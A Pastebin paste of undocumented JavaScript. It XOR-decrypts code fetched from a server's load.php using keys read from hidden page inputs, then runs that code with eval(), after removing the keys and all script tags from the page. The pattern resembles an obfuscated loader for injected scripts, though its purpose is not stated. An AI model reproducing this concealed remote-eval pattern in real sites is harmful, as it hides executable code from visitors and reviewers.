Advertisement
Guest User

Untitled

a guest
Jan 4th, 2015
76
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.17 KB | None | 0 0
  1. if(typeof String.prototype.trimMy !== 'function')
  2. {
  3. String.prototype.trimMy = function()
  4. {
  5. return this.replace(/^\s+|\s+$/g, '');
  6. }
  7. }
  8.  
  9. function decrypt(a, d)
  10. {
  11. a = a.split('zeroCode').join(String.fromCharCode(0));
  12. for (var c = "", b = 0; b < a.length; b++)
  13. {
  14. var charCode = a.charCodeAt(b);
  15. if (charCode > 100 || charCode == 0)
  16. {
  17. //console.log(charCode);
  18. }
  19. c += String.fromCharCode(d.charCodeAt(b % d.length) ^ charCode);
  20. }
  21. code1 = code2 = "";
  22. //$('#content').html(c);
  23.  
  24. return c
  25. }
  26.  
  27. $(function()
  28. {
  29. if ("undefined" == typeof code1)var code1 = $("#code1").val();
  30. if ("undefined" == typeof code2)var code2 = $("#code2").val();
  31. $("#code1").remove();
  32. $("#code2").remove();
  33. $("script").remove();
  34.  
  35. token = Math.ceil(Math.random() * 1000000000);
  36. timestamp = new Date().getTime();
  37. $.ajax({async: !1, url: baseUrl + "s.php", data: {timestamp: timestamp, unique: 1, t: token}, success: function(a)
  38. {
  39. return!1
  40. }});
  41. $.ajax({url: baseUrl + "load.php?f=" + jsFile + '&b=' + browser + '&s=' + suffix + '&t=' + token + '&mw=' + mouseWatch + '&m=' + modal, success: function(a)
  42. {
  43. eval(decrypt(a.trimMy(), code1+""+code2));
  44. }});
  45. });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement